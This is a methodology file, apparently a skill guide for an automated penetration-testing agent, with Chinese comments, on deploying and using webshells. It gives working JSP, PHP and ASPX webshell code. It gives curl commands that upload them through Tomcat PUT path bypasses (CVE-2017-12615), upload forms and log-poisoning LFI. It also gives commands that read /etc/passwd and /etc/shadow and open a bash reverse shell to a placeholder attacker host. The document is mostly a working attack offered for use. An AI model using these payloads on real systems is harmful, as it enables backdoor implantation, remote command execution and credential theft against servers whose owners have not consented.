webshell-deploy

Webshell deployment and exploitation methodology

When exploitation requires uploading/writing a webshell, follow this methodology.

⛔ In-depth reference

Webshell variants for each platform (AV evasion, WAF bypass, compatible versions for each platform) → references/webshell-payloads.md
Java memory shell (Filter/Servlet/Listener/Agent, no file on disk) → references/memory-webshell.md

Core principles

Never inline JSP/PHP code in the curl -d parameter — escaping issues will corrupt the payload
First write a local file, then use --data-binary @file to upload — ensures payload integrity
One success matters more than multiple attempts — operate in the correct order to avoid repeated trial and error

Phase 1: Choose the Webshell type

Choose based on the target tech stack:

Tech stack	File type	Upload path example
Java/Tomcat/JBoss	`.jsp`	`/shell.jsp`
PHP/Apache/Nginx	`.php`	`/shell.php`
ASP.NET/IIS	`.aspx`	`/shell.aspx`
Python/Flask/Django	`.py`	Usually cannot be uploaded directly

Phase 2: Generate the Webshell file (locally)

⚠️ Key: must write to a local file

# ✅ 正确做法：写入本地文件
cat > /tmp/shell.jsp << 'EOF'
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) { out.println(line); }
    br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
    while ((line = br.readLine()) != null) { out.println(line); }
}
%>
EOF

# ❌ 错误做法：在 curl -d 中内联代码（转义问题）
# curl -X PUT url/shell.jsp -d "<%@ page import=\"java.util.*\"..."
# 这会因为引号、百分号、尖括号的转义导致 payload 损坏

PHP Webshell

cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = $_REQUEST['cmd'];
    system($cmd);
    echo "</pre>";
}
?>
EOF

ASPX Webshell

cat > /tmp/shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
if (Request["cmd"] != null) {
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + Request["cmd"];
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.Start();
    Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
%>
EOF

Phase 3: Upload the Webshell

Method A: HTTP PUT upload (Tomcat PUT CVE-2017-12615)

# 使用 --data-binary 上传本地文件（保持原始内容）
# 注意：必须使用路径绕过技巧，直接 PUT /shell.jsp 会被拒绝

# 绕过方式 1: 末尾加斜杠 (Linux)
curl -X PUT "http://TARGET:8080/shell.jsp/" --data-binary @/tmp/shell.jsp -v

# 绕过方式 2: 末尾加空格 %20
curl -X PUT "http://TARGET:8080/shell.jsp%20" --data-binary @/tmp/shell.jsp -v

# 绕过方式 3: NTFS 流 (Windows)
curl -X PUT "http://TARGET:8080/shell.jsp::$DATA" --data-binary @/tmp/shell.jsp -v

Determine upload success: response code 201 Created or 204 No Content。

Method B: File upload form

curl -X POST "http://TARGET/upload" \
    -F "file=@/tmp/shell.jsp;filename=shell.jsp" \
    -v

Method C: File inclusion write

# 通过日志注入写入 webshell
curl "http://TARGET/" -A '<?php system($_GET["cmd"]); ?>'
# 然后通过 LFI 包含日志文件
curl "http://TARGET/vuln.php?file=/var/log/apache2/access.log&cmd=id"

Phase 4: Verify the Webshell

# 上传后立即验证
curl -s "http://TARGET:8080/shell.jsp?cmd=id"

# 期望输出: uid=0(root) 或类似用户信息
# 如果返回空/404/500，检查：
#   1. 上传路径是否正确（有无绕过后缀变化）
#   2. Webshell 代码是否完整（查看原文件大小）
#   3. 目标是否需要不同的 webshell 变体

Phase 5: Exploit the Webshell

# 基本命令执行
curl -s "http://TARGET:8080/shell.jsp?cmd=whoami"
curl -s "http://TARGET:8080/shell.jsp?cmd=uname+-a"
curl -s "http://TARGET:8080/shell.jsp?cmd=cat+/etc/passwd"

# URL 编码空格和特殊字符
curl -s "http://TARGET:8080/shell.jsp?cmd=ls%20-la%20/"
curl -s "http://TARGET:8080/shell.jsp?cmd=cat%20/etc/shadow"

# 反弹 shell（高级利用）
curl -s "http://TARGET:8080/shell.jsp?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/ATTACKER/4444%200>%261'"

Common errors and solutions

Problem	Cause	Solution
PUT returns 404	Directly PUTting .jsp is rejected by Tomcat	Use `/shell.jsp/` or `%20` to bypass
Webshell returns blank	payload was truncated or corrupted by escaping	Check the file size, re-upload using `--data-binary @file` Upload
Webshell returns 500	JSP compilation error	Check the payload syntax, especially quotes and special characters
Command produces no output	Used `exec()` instead of shell `-c`	Switch to `new String[]{"/bin/sh", "-c", cmd}`
File name was renamed	The application renamed the uploaded file	Extract the actual file name/path from the response

Decision tree

需要 webshell？
├── 目标支持 PUT？
│   ├── 是 → Phase 2 写文件 → Phase 3A PUT 上传（三种绕过按序试）
│   └── 否 → 有文件上传功能？
│       ├── 是 → Phase 3B 表单上传
│       └── 否 → 有 LFI？
│           ├── 是 → Phase 3C 日志写入 + 文件包含
│           └── 否 → 寻找其他 RCE 路径
└── 上传成功？
    ├── 是 → Phase 4 验证 → Phase 5 利用
    └── 否 → 换绕过方式 → 仍失败 → 换技术栈对应的 shell 类型